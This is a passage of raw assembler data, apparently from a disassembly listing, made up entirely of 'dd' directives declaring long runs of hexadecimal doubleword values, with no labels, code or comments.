		dd 31C422FBh, 67CF4C12h, 3A33D000h, 0FE84D8h, 53478CB3h
		dd 0B4FA9622h, 100F1FCh, 0AFD6058h, 24418EAh, 0DDC93638h
		dd 0E7E0F97Ch, 50BD9AE8h, 0D91603B5h, 2E95F16Ah, 40AD94E0h
		dd 39743300h, 0F2F4DC24h, 0B0132E43h, 44A70058h, 40111D05h
		dd 0CA1D900h, 23C4DEABh, 13F95835h, 0DB48D400h,	372AD8DAh
		dd 5970EA00h, 32320F6h,	756F0798h, 70E31CB3h, 0F2268001h
		dd 0D1244F00h, 5BB0C443h, 3A1000A8h, 87995127h,	3E013550h
		dd 6EAFA92Fh, 0A5D07504h, 9CA20095h, 0C084A4Ch,	0FF1F636Ah
		dd 0CFC14045h, 698B840Eh, 0C3FA8CCh, 0A1349513h, 66074E98h
		dd 0B40B56D7h, 679F21FEh, 0B030A2B0h, 0FCF61D74h, 0C280BB8Bh
		dd 990964Dh, 7200CCD0h,	0BB49FD5Dh, 73C98EDEh, 4C60131h
		dd 815F692Eh, 74C2817Eh, 1BEF3965h, 4CB170h, 6EC159F0h
		dd 0A91EECADh, 4221F502h, 605CFC4Bh, 87D9D7h, 0A7378E0Fh
		dd 529244CCh, 8B025900h, 0FFE97C62h, 0CFC002Dh,	21CF265Ch
		dd 0F000142Ch, 0A21D4533h, 7D354F2h, 0A603A398h, 0A8815E7Dh
		dd 802A3BE2h, 97419222h, 0DDDC57h, 0B6FA934Dh, 634950F3h
		dd 0FD0FDBEAh, 1E9D78Fh, 0A28D5F5Bh, 0F7C9040h,	0E0861E63h
		dd 0BBCF809Ah, 1367EC1Bh, 4BB739h, 0CC1F50C1h, 1DAE1A33h
		dd 80D232C7h, 0A194071Ch, 9FC369Dh, 2A698400h, 513A4934h
		dd 6EAE0F54h, 9A0A44B8h, 5E013CDCh, 0CB235619h,	0B9486071h
		dd 0AFF23C7Fh, 83B8DE00h, 0ECB0D9FEh, 64A80091h, 74A5B684h
		dd 0AE3B78AAh, 0E3E180A7h, 9A18CE6Eh, 0B22100E4h, 0A50D7901h
		dd 520EBBF9h, 14D2DAD1h, 5A2F0088h, 623E0894h, 65D600C4h
		dd 12551FA3h, 0E50F6D80h, 80493811h, 85DA6C79h,	0EFDE1EE7h
		dd 2C5B00CCh, 0CB96B16Fh, 27602800h, 11BD4184h,	65030046h
		dd 20AB2C08h, 0BF3E7AE4h, 0CC2D80E8h, 0F2DF4834h, 5D1745Dh
		dd 0D6DCF880h, 0CB30C072h, 0D73D83F6h, 0C233093Dh, 0B8700CCh
		dd 3A1A2F44h, 45806839h, 0AAB829A5h, 374C4023h,	0AC71001Ah
		dd 7051A9C6h, 6AE6EDh, 4ADA46Fh, 0F2C230BCh, 0F9CB9000h
		dd 9D32DC62h, 0A67BA9h,	8200940h, 1FF32DD2h, 78D45D00h
		dd 4C62EB16h, 0A40F009Ch, 0E41E35F5h, 0C0688E7h, 0FA841276h
		dd 0A6A81FB0h, 3674C0B3h, 0DCDFBAF5h, 12F71400h, 5EE74940h
		dd 317F2Fh, 704D226Bh, 0AE638472h, 38E25A1Fh, 0E7C39AC0h
		dd 0F0AD275Bh, 91D30029h, 99C437CFh, 2D4C724Eh,	0C7BD4041h
		dd 55C6B600h, 0B58C33A2h, 1C167B71h, 0C3B8F7B4h, 20991177h
		dd 3EAF2CE8h, 65001373h, 0F15B4F58h, 44B392h, 0F7ACE4D6h
		dd 8D233B5Ch, 9C9C2E39h, 480B111h, 2B65555Dh, 6A7907h
		dd 0D43A25B5h, 0C6F8C52Ch, 8A9E6250h, 1CFA6500h, 0D10EB592h
		dd 0D3B000DBh, 0CF70456Fh, 57000D88h, 5243536Dh, 0A562CAh
		dd 0D4550AAAh, 938B73E7h, 9F2CE48h, 81F9B9BAh, 0CA4AF7F8h
		dd 3A8A60h, 8AF4E3C0h, 1B68AA8Ch, 0C6A1FB00h, 0BE513385h
		dd 0F6FE00F7h, 4338E6C0h, 0A90EF821h, 0C06CB5E5h, 0F5571E74h
		dd 85B10086h, 0A1B2B8A8h, 27608128h, 0C957F18h,	2537070Dh
		dd 0EE77A0FFh, 0B2EE9CA0h, 0F2B0066Bh, 82DC7600h, 58178CF0h
		dd 0F570077Eh, 80B1D0BFh, 692547CDh, 55040A00h,	0DCAC8C3Eh
		dd 0C3E100EFh, 0EBB6766h, 681D4C1Eh, 0DDC32F42h, 0B119086Fh
		dd 22E4CD41h, 1B0C00DFh, 8D03112Bh, 21F881ADh, 0E276B305h
		dd 980041A7h, 7FD24014h, 0BE900E7h, 54B24429h, 0D60CEEF6h
		dd 0A5943C6h, 39AB0013h, 7F1C5E82h, 7D2C3228h, 0EA002A52h
		dd 79A80FFAh, 0F8920085h, 4AD10AFCh, 60C13E8Ch,	0E5F4CCCFh
		dd 837000D3h, 7DAA9485h, 0AE3F9BC4h, 1A0481BDh,	332E0886h
		dd 22630BCh, 122F0074h,	6DC9A1B6h, 5DB34900h, 96B9B28Ah
		dd 814B0027h, 36D97924h, 48D8CC9Ah, 335E20D1h, 2E304B0Eh
		dd 5900507Ch, 0E5F51A58h, 0BB9061h, 43C455DCh, 3FDD836Ch
		dd 0A88AD100h, 1DAA2A1Fh, 863E0037h, 0E5E9C311h, 0E018E22h
		dd 0D1202158h, 699CCD27h, 8D30002Ah, 0C17663D4h, 77D0C1Fh
		dd 0A600A416h, 24794A32h, 88AB1C64h, 0B11BC03Fh, 0F3F54F10h
		dd 8096D13Dh, 0BBACFB75h, 74DC8Ah, 9716724Bh, 0FA6DAE1Eh
		dd 69F05D00h, 8A8D21E6h, 3E24001Fh, 0F765A51Bh,	0ED004E22h
		dd 7F970FC9h, 0F63CB669h, 48BE0FC1h, 2C8091A5h,	61312076h
		dd 0DB8A1307h, 7C20075Eh, 32701B3h, 426B91CEh, 0A480881Ah
		dd 6C000512h, 0EB9B3908h, 0AE0B99h, 0B01DEAE3h,	40EF7907h
		dd 477ADE00h, 0B5901C69h, 0AE62386Dh, 0C4D85884h, 80509307h
		dd 2064008Fh, 0BE1FABCBh, 43B28C9h, 93888EDCh, 0D7E80890h
		dd 0A1D50378h, 0BC64B1C8h, 6BA25BC0h, 80152F3Ch, 0B0ACC97h
		dd 0CA3DF3h, 3BDB9E95h,	8DC0F8C7h, 5041B007h, 3F203515h
		dd 0C78481B8h, 0F0AC0659h, 4FF12B27h, 5B95DD03h, 0F0BD36F7h
		dd 0E63345h, 925114B9h,	6829B02Dh, 6D0F7F7Dh, 60495D94h
		dd 26150A4Bh, 0B4CC079Ch, 0C97125F1h, 4DF53800h, 4B719718h
		dd 0A3856700h, 60B2E29h, 5080048h, 4A232A35h, 0AC91DF2Fh
		dd 13F4C603h, 2E65882Bh, 0C2741836h, 9DBE18A6h,	4CD448h
		dd 0E6441BFAh, 0F6785Dh, 0EEF2F0F1h, 0BF767CF7h, 0EF49AC1Eh
		dd 1CC83B3Eh, 18000CEBh, 65F824DFh, 0FA6913D6h,	0EEAF03F7h
		dd 85C028AFh, 29C8FDB6h, 36898023h, 0CE5A87BCh,	0A2176A00h
		dd 7ACAC940h, 1CCC73E6h, 0C0FCDDC7h, 880DF871h,	0E139EA9Eh
		dd 9A518037h, 2BA16125h, 50D20057h, 0A3680CFAh,	0D71ECBDCh
		dd 0EF07D692h, 4E906F03h, 0A17E1Ch, 0EE129AF5h,	185F6ECh
		dd 0E70011B8h, 5DE2C2ACh, 0AAC4CBh, 370B38C8h, 8E5FCB3h
		dd 0B84D1000h, 497F409Bh, 3AF0001h, 8C9AD380h, 0C3001EBBh
		dd 92D91D5Dh, 606ED5h, 0A6CE8A54h, 0DEA3BF99h, 0E0132124h
		dd 0D7D95E00h, 16D654Ch, 7CC08C40h, 401853ADh, 8FFAF1ACh
		dd 0FCEB0200h, 0E90DA966h, 0B727005Fh, 6236E2D5h, 3100763Ah
		dd 4D7456C2h, 32D7D3h, 5753C064h, 0FBDC0C28h, 2F267BB0h
		dd 70E4F49h, 15CC23D5h,	856D982Ah, 0B27B094Eh, 2B80C4A4h
		dd 0F5B3B60Ch, 48E82C07h, 71E0025Ah, 386660DFh,	658054C8h
		dd 7D9050E6h, 0C17ED19Fh, 0D437B100h, 0F77E66B5h, 0F1A400FAh
		dd 883C078Ch, 5FA7434h,	6FAE9E06h, 0D8EBB7h, 0B6C68D01h
		dd 2341D0ADh, 48F72C58h, 33870054h, 86CB0D5Eh, 0BB1748F6h
		dd 9451901Ch, 0B851E428h, 0D292C0h, 0CDBF4362h,	4CC5BBD3h
		dd 0F4DD2200h, 76B1DA97h, 858D007Dh, 0F6C6FD6Bh, 0FE1D84E0h
		dd 16C70A92h, 5FC07CDAh, 5E737h, 0FC961867h, 0C5942463h
		dd 714A8600h, 0F4DCCC88h, 0BE1D071Ch, 30E1922Ch, 93E01A33h
		dd 0C488680Ah, 0D900A861h, 6E30ED77h, 33CB09DFh, 0C20FBE37h
		dd 1D95B0C1h, 0C772E028h, 7AE6DC3Bh, 9353BC00h,	2CD28FACh
		dd 0F27C3Ch, 0C1BB1F11h, 9BE54FE2h, 68237800h, 13B561FBh
		dd 2274E6h, 0A7CBD49Ch,	26BD763Dh, 10D548h, 0C567B0ADh
		dd 0E42436h, 6439AF21h,	153F07AAh, 27DDFBA0h, 0EE8538h
		dd 7082766Fh, 0F92DFE1Ah, 8A84B8EFh, 7F27004Ch,	11D794D5h
		dd 0D8C09946h, 0BD8EB1C4h, 52C5004Bh, 0D9C2A2B9h, 0A404103Ah
		dd 19330ADAh, 0BCA95880h, 6012001Dh, 0E6F17958h, 0D23C5CF4h
		dd 189D173Fh, 0C50DE18h, 3377F15h, 5D2DF841h, 0C2C0ABC1h
		dd 44246345h, 0A3030CEEh, 0B070B162h, 0EF233Fh,	87915DFCh
		dd 0EEADA5B5h, 153B0F00h, 0D3AEFB16h, 0AA6F009Eh, 0E893CEE3h
		dd 1200725Fh, 2AB36379h, 68D41CBh, 148F52DDh, 82264827h
		dd 791D58E6h, 0AD759C00h, 115D669h, 9678F921h, 0EC10D252h
		dd 5307D5C2h, 74E0DF67h, 1A16F030h, 29FC0702h, 976AA1CEh
		dd 0DE319009h, 13003530h, 8AD31DC6h, 16433AF2h,	1C5CC8h
		dd 0FF79F3B4h, 8BF8F4D1h, 40ECD007h, 0EB80D201h, 7ABB394Fh
		dd 5837242Bh, 0C0C51DBAh, 7E33B204h, 0B0049DAEh, 0EF556E57h
		dd 9044B4C3h, 2EBD102Ah, 1DF834A5h, 4F2E9E20h, 5D0074D7h
		dd 6692E43Ah, 83479000h, 7E3229ABh, 92F558D8h, 0E90C2B00h
		dd 35A2C35Ah, 0C4DE9A00h, 6CCADAF6h, 88BD00AFh,	1EC045B8h
		dd 0C700EE22h, 86E0D35Ah, 29927Ch, 81960195h, 0C91345ACh
		dd 339AD400h, 0B2FF1CC0h, 1282011Dh, 0AF513CD9h, 90B080C7h
		dd 7B07D5ADh, 508400D8h, 0DFFAC669h, 0A5002B5Ah, 1AD20975h
		dd 591F0Ch, 11DF4C8h, 93DA0A15h, 478A7600h, 0F7693311h
		dd 1AFC38A7h, 41B992h, 32BE6434h, 6A0093BDh, 0CF72F945h
		dd 596B75h, 90177398h, 0EB8AE1D9h, 7AB6C0Eh, 82AF4037h
		dd 0ED4D89Bh, 384FE856h, 0B4552F80h, 8E079CEFh,	650E17A7h
		dd 43DD7C90h, 0C4291E83h, 0FA4BC019h, 94A9BA61h, 67370C00h
		dd 0D29F3DE7h, 65F14C4h, 0E23CA490h, 0BE535260h, 803C64F5h
		dd 24EE0018h, 0B6CB8633h, 58767B52h, 0E00100D4h, 0FDF4195Fh
		dd 0B310300Ah, 0D3096E90h, 390ECAh, 361E2D18h, 9AF901Ah
		dd 2AC2AE47h, 71960420h, 56000AA6h, 0D138AAA0h,	1D7626F3h
		dd 0C1DD0994h, 0E4933DC9h, 0D970D099h, 85A3DA01h, 0E50C1F86h
		dd 0A47BB8F7h, 0B5A0095h, 0A0F26FFh, 7601636Bh,	6013A92h
		dd 5660D7A9h, 2482240Bh, 80ED0005h, 0BE77F054h,	4C571F09h
		dd 0ECC800Dh, 0D6128Eh,	7F7B9EE1h, 2943AD7Dh, 0E27C3102h
		dd 60C76350h, 0FCA3C3h,	92CE709Fh, 8A2BAEFDh, 7C72B20Fh
		dd 6A3E0178h, 0C640ABBFh, 1FE40709h, 80B65E22h,	0FDC3FE6h
		dd 3712DB0h, 7F6594Ch, 42DFCD5Ch, 0A9752A30h, 765D00F6h
		dd 903CDC77h, 4CBAC9C8h, 70E79300h, 8B50A5BBh, 0B49A0069h
		dd 88FCDF31h, 400790A8h, 0EF4635FAh, 40F25DE2h,	8AF7BDh
		dd 0FE919A03h, 945C2988h, 2A0F9700h, 0C7947DAh,	7BC98F3h
		dd 0EDC77634h, 0DEA206Bh, 0D363BEA2h, 0E0177778h, 1B3C782Dh
		dd 30EED267h, 10246FE0h, 174EA4Ch, 82CE8966h, 0D5D0F959h
		dd 5D880E29h, 1C46BB69h, 0FC80C1C8h, 0A8720BC5h, 9F094203h
		dd 3908E2Eh, 0EACF4150h, 0CAA0116Ah, 152D6EFEh,	0E3F6CBh
		dd 65C62E6Dh, 0E705ED1Ah, 0CD0D0B71h, 7C8093C5h, 0ACCB2Dh
		dd 6921272Eh, 55E73908h, 0AABDF000h, 15D2DCBEh,	897207A2h
		dd 0D0EB26ACh, 1287D0C9h, 95A5Ch, 52256D96h, 7F1CFD98h
		dd 797E0Fh, 7FFEF0C7h, 0D92F5E32h, 6325DF00h, 0EF8FE007h
		dd 357291h, 3C18BA45h, 86F72760h, 54AD0901h, 0FBD698E8h
		dd 5A4ED8h, 586F93C0h, 0EBEF94C1h, 83F2A20Bh, 0F11CA3AEh
		dd 4809B890h, 0BC95506Bh, 8AD6677h, 3D0321F5h, 449B099Ch
		dd 0BFC69CA4h, 3EB0719h, 8BEC37F7h, 0FE6A4F80h,	59FCEA17h
		dd 0A31A741Eh, 2506E4DEh
		dd 1D18FA9Ch, 2084542Dh, 0E478C928h, 8128277Ch,	0E4808B56h
		dd 324033D1h, 64C4A019h, 508CA51h, 1D2A80F4h, 694DC32h
		dd 0A6664A00h, 289B1045h, 6EEEA9Eh, 634BC4BEh, 14A852C6h
		dd 900FEFF2h, 61C9EC8Ah, 0CA28BB87h, 0CE9209Fh,	4318C3BEh
		dd 0DECBC19h, 1EDC3D32h, 4419C3D1h, 0C0DFBDD3h,	5B87E6B0h
		dd 10496830h, 3A23A551h, 2780B3DFh, 0FDBC63EFh,	1E00A280h
		dd 0DCB0D685h, 0C1553Ah, 0A9950771h, 9C59BF5Fh,	5608CC00h
		dd 16BA2410h, 426E00DCh, 40308717h, 0B700A320h,	2A037318h
		dd 0E90BBADDh, 812103CBh, 1136A2A7h, 5A6F51E8h,	0CA7919C0h
		dd 37DAADh, 0C5259542h,	596EDF14h, 0EB6021C0h, 4E3CFBh
		dd 3532D2A9h, 2C5F07A4h, 2695E300h, 608B6B83h, 7D1500B0h
		dd 67A75ABAh, 40D82050h, 6DED6AAh, 631A5ED3h, 146009B1h
		dd 0D64AF021h, 9F98009Eh, 76502847h, 6707437Ch,	537FF3F4h
		dd 26E96180h, 0EB3A0120h, 7D164057h, 38419C30h,	760080E9h
		dd 0C7F4FDA7h, 0BEFEA63h, 0BF94E658h, 4F6EFA80h, 0B418BBC2h
		dd 24A9161Dh, 49048668h, 0B6D3F7D6h, 21FD61h, 0FED64BF1h
		dd 0A1C10093h, 0BA6A1344h, 23002D79h, 5B11B6E8h, 0ACC87FDh
		dd 266312CFh, 940A3ED0h, 94E203h, 3569D6DFh, 0DB023B54h
		dd 6B771570h, 0D5C7E06Ch, 61800AFh, 0EB73298Dh,	0F200030Dh
		dd 13709733h, 0BF4EF7h,	5548045Ch, 0B5B4FC2Ch, 0E623B300h
		dd 0FF7C7942h, 0C82D00C9h, 25CA3EDAh, 8B0087ACh, 0B0A760F1h
		dd 0F362B3Ch, 0FC23C13Dh, 4528958Ch, 0C66DEC03h, 0DBF740D5h
		dd 0BDA0B0D4h, 65661F05h, 0F3C500C9h, 39100482h, 3CF760E9h
		dd 6E881900h, 92BEC650h, 15C3006Ch, 3822B3E9h, 0F61833E4h
		dd 3C60C734h, 76BC0044h, 8D7E43A9h, 0FFB830A8h,	0EC5C3918h
		dd 0FB2C5A8h, 0E3A926B3h, 7425D723h, 0F5BF6ED8h, 0E1233C00h
		dd 0C2A6A038h, 5B540F2Bh, 0C9F8105Dh, 4C1D20F4h, 0EB805C77h
		dd 0CA0C1366h, 58426082h, 0F076ADAh, 35C4F400h,	7A89E2C8h
		dd 0E375034Bh, 1D3FC2D7h, 78FB2918h, 0B33E08h, 0A25DF14Ch
		dd 90AB87Dh, 0A74205Ch,	88706635h, 0B6AAA583h, 8188F19Fh
		dd 52BA3F8h, 61087258h,	9EC02021h, 5D00FA3Fh, 0AEFBA0C5h
		dd 11DB12h, 22850592h, 0E4BCB897h, 0BB334900h, 2DA79A58h
		dd 918900EFh, 0B4F5BD9Fh, 4A7C35Eh, 0A754F877h,	3511C260h
		dd 99F646h, 0B3AE998h, 9F9C535Bh, 3C76DB0Fh, 9219B88Bh
		dd 0B45D22E6h, 3ACE9720h, 4861A6C6h, 83AB7FBBh,	1B4DB060h
		dd 3C2040CFh, 3F4E0004h, 880EAEE4h, 1D00282Ah, 0BD3BB3E1h
		dd 0FF96E2h, 87F87D9h, 8039C914h, 56A5C201h, 0CDE4DF01h
		dd 3ED47E0h, 0F613405Ch, 2DC846B4h, 45005ECEh, 3567D1E9h
		dd 14CB7534h, 403C6A09h, 0F1921F00h, 46DB9E10h,	1A8EC3Ah
		dd 7D5855F5h, 1CCCA0A4h, 30D87E17h, 3BC8E5C0h, 0B80D0E9h
		dd 0DC793DACh, 0DBBAA800h, 8956575Bh, 80D42D07h, 2CB6B46Ch
		dd 22953069h, 0CC6238F8h, 6B53588h, 1A4E8C41h, 243E78BBh
		dd 910E0178h, 384771EBh, 1D69FDCh, 39BD9E4Dh, 283D3A36h
		dd 7F103E4h, 0D00ED02Ah, 1D153B03h, 5BDF5DEh, 5ED5252Dh
		dd 0B0C201ACh, 50DBA7FCh, 6E89C4E8h, 96297B3Fh,	0BA11179Fh
		dd 4F5B03FCh, 1E2BA9BDh, 187F66C0h, 0C15580FBh,	3876D81Dh
		dd 18259340h, 2E9DB9Dh,	0EE4C5C4Bh, 24B0FEB4h, 20843105h
		dd 65150D23h, 905425h, 0BA563FC9h, 248866h, 0AC1CD12h
		dd 897607E7h, 0A70ECC00h, 9E84D5D8h, 71FC0010h,	0C4B7C3Ah
		dd 29385588h, 96FCD0A2h, 9E1DBC1Dh, 81CCD900h, 6D7938Eh
		dd 0C244DFBDh, 912EB8D3h, 3A1FFD7Ch, 0B00B450Ah, 0CD085823h
		dd 2447884Ch, 205F6389h, 4AFDA584h, 92020499h, 919D17A1h
		dd 7CCD374h, 0F40A1990h, 0CBCA877h, 0A6971887h,	7FA48C8h
		dd 0CE0013EEh, 67312B80h, 0CDD5DD0h, 0F22710B4h, 3A1270C8h
		dd 8014CA69h, 591D0258h, 40434074h, 18C33CA0h, 711B5DE8h
		dd 421F5279h, 75092746h, 257410AAh, 88B0AA88h, 15F0F490h
		dd 0D3CA8852h, 0E828C619h, 7DD01E20h, 0EC9293h,	0FFD5A1FBh
		dd 0B9ACC6D0h, 0FCE0D668h, 0F3B51283h, 7B509871h, 6B7729D7h
		dd 3DE162ACh, 431D34A0h, 0F21A2A19h, 0A029FBB8h, 0A3AFA7CCh
		dd 0B3BD12F0h, 6F3C4067h, 2110C893h, 0B46EC700h, 0CCB5F831h
		dd 40DA0355h, 0FBBF3BECh, 18C400C4h, 14D4F957h,	987A729Dh
		dd 36FE3F71h, 2B6F02F7h, 1E77FFA8h, 4C3A8880h, 0F2016D22h
		dd 0C87D3C17h, 91A8F608h, 0B45B55D4h, 3D1DE808h, 383118Bh
		dd 1AE5AF76h, 0F0FB217Ch, 3F048DD6h, 0C9996658h, 0E4199880h
		dd 83530069h, 0A407B08Eh, 0B76176CAh, 0CEF404B8h, 8834DBF1h
		dd 0BCC70475h, 40F96A0Dh, 33C55334h, 0C0133051h, 63E1DE80h
		dd 0E7042438h, 0F16643A9h, 27674448h, 39524F0Ch, 442828ECh
		dd 3B1E90EAh, 258C9221h, 447D68F8h, 0F00CDB77h,	18C7C93Ch
		dd 5A4040B9h, 0EF64E8C3h, 3CB0756Fh, 1000D2CBh,	353DC982h
		dd 8DE890BAh, 2C0196F8h, 43C293A8h, 0DC440C78h,	0D7DB2009h
		dd 54C93301h, 2315C0B9h, 0C7344CC0h, 14D76F0h, 0A7A99352h
		dd 0CC6A22B3h, 28487C45h, 6E400018h, 4C736F79h,	13530050h
		dd 1A0370A3h, 0B898FDB7h, 56B92508h, 0E094806Dh, 5942E384h
		dd 7242EF8h, 2939ACE8h,	0BBE8AFh, 0DF6CF4A1h, 391C4F9Bh
		dd 0ABF2CE67h, 1AA688BCh, 840598FFh, 0CBFEF1FCh, 8414B810h
		dd 0AE0B6h, 24D5C393h, 4E152303h, 20F848h, 0B0E8420h, 1D1CA4h
		dd 5F664DEDh, 0FD8AEE54h, 0D36C0C3Bh, 52AF00B0h, 0D9043D83h
		dd 3CEA0AD3h, 16B847F1h, 542B00BCh, 16DB75DEh, 7E67D12h
		dd 7C335027h, 0F3F9803Ah, 20C14056h, 1ED1805h, 0B00067A0h
		dd 0F7760DDBh, 85803DEh, 0C29B41CFh, 70414Ch, 39A98C67h
		dd 7738FBDh, 998DB94Dh,	2B4210A7h, 0E650D8A5h, 0BD03F9D0h
		dd 12D39B65h, 151DD855h, 1328EA21h, 116698Dh, 5F2A2584h
		dd 94AAE6DCh, 0AFEA80E8h, 6BFD3093h, 1C5429C1h,	22D771F2h
		dd 0A07F931h, 0A7086A19h, 21433BE0h, 0D37ECFh, 387E1746h
		dd 6E0124E1h, 12251400h, 0A2B5C1CEh, 50070E81h,	0DCFA57h
		dd 94014B22h, 28240555h, 73178C64h, 0C884300h, 3C77DACh
		dd 67639DC2h, 36D0E8B0h, 95019708h, 247F5DAh, 0E03204C4h
		dd 98C24685h, 0E34C3C80h, 83DF81F8h, 28365ED7h,	429CB972h
		dd 4100B1EDh, 0A8AC1C99h, 6FC7F9C0h, 5C0229D4h,	8C432174h
		dd 684454E2h, 39F80C54h, 2709A090h, 84ABCA93h, 0D8049D04h
		dd 648304EEh, 0C0D020C8h, 0E1F7F4C1h, 26902554h, 0DB1441F1h
		dd 0CEC82447h, 51584209h, 0D530A0A0h, 0B82E6A8Dh, 26357144h
		dd 840DA53h, 0EC44C369h, 5CEA1405h, 28ED984Ch, 0B988C02Dh
		dd 532B19CCh, 12106070h, 0DBFC4820h, 0C7760408h, 0C0303C2Fh
		dd 0F39D824h, 8D96F80Fh, 2B3D0020h, 14C8DC5Dh, 8855D224h
		dd 103B8Bh, 0DEF85A54h,	0D3F26E09h, 46AC92ACh, 1F4F0574h
		dd 8A54E03Ch, 9B1D0428h, 34806EA0h, 26A9CEA5h, 85A0F18Dh
		dd 0D01FE5B4h, 6F710ED0h, 68764Dh, 3CADAFE3h, 505C5625h
		dd 76480C6h, 0D9E1B747h, 92036187h, 0C68C740Dh,	658C0801h
		dd 0C06D8258h, 0F2222432h, 0E74F4C12h, 29AA2440h, 0FCE653C0h
		dd 8689B26h, 1F0B8566h,	0E4C9E108h, 8187893h, 0BD9DD550h
		dd 437AB041h, 4C41F60Dh, 0B884C434h, 0D079554Dh, 8B6E69A8h
		dd 140095FAh
		dd 0A30D574Eh, 0A18D66FFh, 4824C35Ch, 553B0054h, 0FE4FC409h
		dd 0A3049259h, 1E43F77h, 0F7B3C091h, 0ED3D980h,	0DA74E36h
		dd 0EBD45513h, 0B18CD4D1h, 0AF1B870h, 6F4EB777h, 0DDED036Ch
		dd 2900BFF2h, 0BC07CA43h, 1675391Bh, 20440E88h,	951CFC24h
		dd 0E60054ECh, 772A4FE4h, 74FA8FEAh, 18075775h,	0FD8C1280h
		dd 0CC077871h, 35896BF5h, 1F5148F1h, 0FC32C5F9h, 93F7F50h
		dd 34E56EEh, 3D807780h,	4CFACEECh, 131F7348h, 980F3064h
		dd 0E0C3C55Ch, 93847401h, 0A8308F4Ch, 401F55CDh, 735D6FCCh
		dd 0D4B7054Fh, 0CBCFAD59h, 427108C4h, 40F82ED7h, 288F74DDh
		dd 8EA9B509h, 0BC5010AFh, 10C90079h, 25D8D0D2h,	0CB2CAF4h
		dd 4D13E501h, 62D3A792h, 3ED40B60h, 0C29E8AE8h,	0CB7982A2h
		dd 1C486FACh, 32495601h, 0FA640FE4h, 58DAC1C8h,	7910034Fh
		dd 5026A099h, 200144DEh, 0FE688E89h, 0CEF0420h,	0A54AA9F5h
		dd 3B5446C9h, 62009DA4h, 0DE5147C7h, 20D310h, 1A685BA8h
		dd 0EC31C882h, 0E8950205h, 0D005FF55h, 8220411h, 3F109067h
		dd 0C8881D72h, 65034735h, 10F050EDh, 0AB1C47CDh, 0E3000871h
		dd 80BE07BAh, 0FE542937h, 718F0220h, 68408ECCh,	422E65D5h
		dd 4C071CE2h, 0A240D02Ah, 86B7CEh, 7E4569Eh, 0C35A0CEFh
		dd 2CB4E812h, 14BC98D0h, 0BDF130F7h, 0A8257418h, 0FC781B26h
		dd 144BC662h, 0B3A6D120h, 935C0F20h, 0A4037D29h, 3107DF04h
		dd 0D0D1F064h, 888AC3B0h, 53AC2ECDh, 821D8914h,	69F22048h
		dd 0C10088B8h, 0C95EFFA2h, 39B6D20Ch, 0C05051B5h, 1F772653h
		dd 0A6660070h, 0C0B36C3Fh, 0BCF0D462h, 555F40BDh, 0B515166Ah
		dd 2E806CAh, 5E7BD930h,	1CE8BF54h, 31A2990Ah, 0D009439h
		dd 3D3B1A3Ah, 4D3E619h,	0E7560657h, 83C5C00Ch, 5552DDC6h
		dd 10372908h, 0D8088600h, 4885CE55h, 0CD030C4Dh, 8FD2D5A7h
		dd 0C6346C05h, 443836ABh, 96E62C55h, 80B9E5D4h,	8C1844C8h
		dd 66113F01h, 0D60110C8h, 0B872E60h, 0EC0A2A3h,	0BCE6F002h
		dd 6F910720h, 0A8B14920h, 5446F500h, 9D6550CBh,	0B68AD0A8h
		dd 4471691Eh, 0B0C014A7h, 0D47D5050h, 56CCA481h, 0D4C9B0B7h
		dd 4E1A412h, 4E03869h, 4D0DCAD8h, 0FEA2801Dh, 0D1307114h
		dd 3DB11D5Ch, 1008D3F6h, 36C173AAh, 214D0CFEh, 1ACC407Ch
		dd 0C109C8BBh, 81EFE2EBh, 0E12D5F5h, 26E80C24h,	815887E6h
		dd 0AD550465h, 0FC40D66Ch, 5A254F5Ch, 0DC943Fh,	80D573E5h
		dd 0F50F6770h, 0FA0C84A1h, 0A2C61068h, 640048B2h, 0C48C6634h
		dd 0DDCE58h, 0E56C450Ch, 0A81587A5h, 1D81A304h,	9180C4D7h
		dd 3D32D3B3h, 6CB74D80h, 0D8BCB160h, 1768809Fh,	0D1D6E563h
		dd 1E34096Ah, 60C07A44h, 0B093C0BFh, 1D0E108h, 10476BFEh
		dd 2CD476C4h, 0CC3DF4BBh, 7A4450C4h, 0E09829F2h, 3F5818C8h
		dd 0F100FA4h, 4101F612h, 30E1BE59h, 5D003010h, 9D1BCBCEh
		dd 5CB3895Eh, 9A3F8C33h, 0D6C90489h, 9698C0C1h,	6C4038DAh
		dd 0DDBE81Ch, 726F2C6Bh, 37018F48h, 785610A0h, 7C0F581Ch
		dd 1E8CD9F1h, 0CD852447h, 3E826CF7h, 2CC09406h,	1E0C5A25h
		dd 5C4DC51Fh, 2F4CC063h, 0FA005B73h, 458F05FBh,	0CBF49480h
		dd 0E021AE38h, 413C6E43h, 4B6F0C18h, 9152230h, 12F3D166h
		dd 9F8AC020h, 2009EBBh,	7A472052h, 0E1B8A967h, 67ED5E30h
		dd 0B0D1D8C1h, 308EB439h, 5B4F99E4h, 0C9B98801h, 146C8777h
		dd 320CA92Ah, 36903FC5h, 7CE4E490h, 54002458h, 0B61924h
		dd 97F4A0C0h, 0C0C34694h, 2E66295Bh, 1ED0A032h,	35CC1676h
		dd 0E8A480E9h, 122A1BCAh, 8118D8CDh, 0D5112C92h, 2BE50B40h
		dd 9CA00B67h, 0D8312D18h, 2854A0C7h, 0BC1460B0h, 4D0FEDBh
		dd 5116FD9Dh, 1DA49080h, 0F0376C0h, 401C14B5h, 2D9DC31Ah
		dd 12C0F579h, 0FF07F8B1h, 0B66C934Dh, 0E7B6620h, 40584FBCh
		dd 0F21CB4A4h, 0CF156D1Fh, 0D0EF29h, 870D6F15h,	0C3CB638Ch
		dd 76E51D91h, 0E20B9B90h, 74527314h, 0C41C0B9Ch, 0D132870Eh
		dd 60F39C52h, 567E75Eh,	5564FB78h, 0F408C7DAh, 0D07C855Ah
		dd 6B282E1Ch, 418C7B01h, 6555DF0Ch, 2C6E4EF4h, 4FB4F5Eh
		dd 0D039B11Eh, 9C857D94h, 9802FF04h, 2CD02FC5h,	1E9A030Ch
		dd 9C801DDCh, 0F9F04085h, 93572768h, 0D1EAB530h, 0E1749Fh
		dd 0A83D521Fh, 5594333Fh, 0D86931Dh, 0D907E8E4h, 78906936h
		dd 0C21F5BCEh, 834E5861h, 0D5BFB8A2h, 0B15B1C48h, 828ECA1Fh
		dd 16551800h, 3420109h,	561EE6A7h, 7938C1C7h, 6CD1A458h
		dd 2A8DCE86h, 1C162A59h, 0EDBE00D4h, 8A0892Bh, 991723BFh
		dd 1EFBC5A5h, 0DF7E0098h, 0B4455AF2h, 73316A00h, 6E381108h
		dd 8F700093h, 0D3896DB1h, 7C0E8D85h, 8C90EDB9h,	2C042156h
